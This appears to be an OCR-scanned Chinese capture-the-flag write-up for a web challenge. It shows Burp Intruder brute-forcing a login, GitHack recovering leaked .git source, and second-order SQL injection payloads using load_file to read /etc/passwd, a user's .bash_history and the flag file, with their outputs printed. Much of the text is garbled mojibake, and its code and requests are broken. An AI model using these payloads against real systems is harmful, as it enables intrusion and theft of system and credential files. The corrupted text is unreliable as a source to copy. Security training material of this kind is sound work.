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Burp  Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
1 = 2 0=

Target Pasitions Payloads Resource Pool Options

@

Cenfigure the positions where payloads will be inserted into the base request. The attack type determines the way inwhich payloads are assigned to paylead positicns - see help for full details.

Attacktype: | Sniper

=
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5 username=zhangweif

POST flogin.php HTTR/1.1

Host: 111,200, 241.244;51751

Content-Length: 35

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Origin: http://111,200,241,244:51751
Content-Type: application/x-www-form-urlencoded

5 User-Agent: Mozilla/5.0 (Windows NT 10.0: Wing4; x64) AppleWebKit /537,36 (KHTML, like Gecko) Chrome/55.0.45635. 69 Safari/537.36

Accept: text/html,application/xhtml+xnl,application/xnl g=0.9, image/avif, image/webp,image/apng, ¥/*:q=0.8, application/signed-exchange;v=b3;q=0.2
Referer: http://111,200, 241,244:51751/1ogin. php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: isLogin=0; PHPSESSID=210683biv2r3rbduggt 9eed2e6

Connection: close

Add §
Clear§

Auto§

Refresh




#npayloads, Wik :

Burp Suite Community Edition vZUZ1.10.Z - Temporary Projec
Burp  Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User eptions. Learn
1 = 2 = -
Target Paositions Payloads Resource Pool Options

® Payload Sets

You candefine one er more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payloadset: | 1 | Payloadcount: 1,000

Payload type: ‘ Mumbers v‘ | Request count: 1,000

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

fumbe
Type © sequential Random
From: | ) |
To: [ 998 |
Step: | 1 |
How many:

\ber format
Base o Decimal Hex

Min integer digits: l:l
Max integer digits: l:l CSDN @18947943

Start attack! B18ZE, 518, WHE:

3. Intruder attack of111.200.241.244 - Temporary attack - Not saved to project file

Aftack  Save Columns

Results Target Positicns Payloads Resocurce Pool Options

Filter: Showing all items |®
Request Payload Status Error  Timeout Length Comment
0 200 2087
1 BB0 200 2087
2 6e1 200 2087
3 BB2 200 2087
4 62 200 2087
5 B4 200 2087
B 665 200 2087
7 666 302 2036 |
B bbb/ 200 LUBY
9 BBE 200 2087
10 6B 200 2087
11 &70 200 2087

Request Response

- I -

9 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image /webp,image/apng, */*;q=0.8,application/signe
d-exchange;v=b3:;q=0.9

10 Referer: http://111.200.241.244:51751/Login. php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: isLogin=0; PHPSESSID=210683biv2r3rhOuggtSeed2eq
14 Connection: close
15
16 username=zhangwel&passworddzhangwelEss
®{§} | &= | 0 matches
Finished fil= L

R4 R666H EIE K302, emmm, E#E, WA

111.200.241.244




-
1D CATEGORY TITLE

s ey ~Alels - -~
L _;_-'l | 'r-_f"l’_J :)i!— f :)i!— =

FIH .gitk BUIE S
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O

zhangfa@kali: ~/GitHack

X i RiE ZE B

~f/GitHack
GitHack.py http://111.200.241.244:51751/.git/
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"mysql.php’
session start
write_do.php
header("Location:

—~
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write

comment
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13
14
15
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(=]

17 header("Location:
18 }

19 }

20 {

21 header("Location:
22}

23 7>

X—BARIG R, L/ \EREBE —BATFHT. o o FRT, BEXENKwriteupll, K ILIXIE &% 52 ) 2 gitiitk 58 F K
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$category = addslashes($ POST[
$title = addslashes($_POST[
$content = addslashes($ POST[
$sql
$category
$title
$content'";
$result = mysql query($sql);
header( )
break;
case :
$bo_id addslashes($_POST[
$sql
$result mysql_query($sql);
$num mysql_num_rows($result);
if($num>0){
$category = mysql fetch_array($result)[
$content = addslashes($_POST[ D;
$sql
$category
$content
$bo_id"'";
$result = mysql_query($sql);
)i
header(

break;

header(

XBARMEEEE R LR EHEsqIfEANFIR, ol A HSLAE T X BAD :

$category
$content
$bo_id'";
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4. n{a ¥ 1E payload

ERAFERSBATTR EAAR R WAET, R TRS W LR TSR, WHRALRSRE, BMEATx. Bty

i payloadin & :
G
TITLE 1
CATEGORY 1", content=database(),/*
CONTENT 1

"ﬁ%i)ﬁ’ ){—:‘\T_-E‘ﬁé‘r%’ ﬁ%ﬁﬁ%iy ﬁﬂ@, %IEIEIKC&

Ex 222
E = th
BvEs * /3

wiE3Z

WA RBAIKIsQIEAME T, THEANERH. ETRUZREWET, RV/SBEIE, KHuoxe!

EEMiEpayload: 1°,content=user(),/*, BEIEIE:

k=413

TITLE 1
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CATEGORY 1',content=user(),/¥

CONTENT 1

;Eft
CSDN @1894794

¥

FIFFEEE, DA+/# @ THE, B —HRXAHRE. WA:

Ex 222
g= root@localhost
BzEs
A
vigz

CSDN @|89479473

BE T LE0HF Rroot 7, &Rk, BURIR =W
¥EMi&payload: 1°,content=(select(load_file(’/etc/passwd’))),/*, EIEME:

13"

rootx:0:0root/root/bin/bash daemon:x:1:1:daemeon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
syso3:3:isysi/devi/usrisbin/nologin sync:x:4:65534:sync/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:Ip:fvar/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:
fusr/sbin/nologin news:x:9:9:news:/var/spocl/news:/usr/sbin/nologin uucpxc10:10:ucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/varfwww:/usr/sbin/nologin
backup:x:34:34:backup:/fvar/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircna39:3%rcd:/var/runfircd:/usr/sbin/nelogin gnatsoc41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/fusr/shin
/nologin nobody:x:65534:65534:nobody:/nonexistent/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid:
syslogn:101:104:/ho peedevelagelahadialea-mpeal x: 102:105:MySQL Server,,,:/var/lib/mysql:/bin/false

e
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wwwx 500:500wwwlhomeswww:/bin/bash

#EEE
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A DAE BlwwwH 3 T bash#
&M Epayload: 1°,content=(select(load_file(’/home/www/.bash_history’))),/* , [EEIHE:



E= cd /tmp/ unzip html.zip rm -f html.zip cp -r html Avariwwwy/ cd Avariwww/html/ rm -f .DS_Store service apache2 start

CSDN @18947943

WRTHPRBRERSE, TUEIHPBENT tmpSCHRIEHEE T html.zip, BEMT —H# N, FHFMBRT .DS_Storextff, XA
XHEREIE M, MTAETHEE, HHTHEKR, MiwmERAxe, FMN Ewp#RAH T 7Skl E 2.
EEMiEpayload: 1°,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*, BIEWHAE:

1

g= | ©00000001427564310000100000000820000010000000040A00000000000000000A000000000000000000000000080000000800000000000000$000300000000000000000000002000000000000000800000001000010000073007400720C
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A A BIRATE R Miflag e &2 flag_8946e1ff1ee3e40f.php
EEWMipayload: 1°,content=select(hex(load_file(’/var/www/html/flag 8946elfflee3ed0f.php’)))),/* , EIEINHE:

3C3F7068700A0924666CH1673D22666C61677B30646431346161653831643534393034623334393231313765326133643464667D223B0A3F3E0A

i
ok

viEE

CSDN @18947943

FIFER HPE DB, [ARKKNER, WA:

BAT7HEHEE:

3C3F7068700A0924666C61673D22666C61677B306464313461616538316439343930
34623534393231313765326133643464667D223B0A3F3EDA

ERERIE:

<?php
$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";
7>
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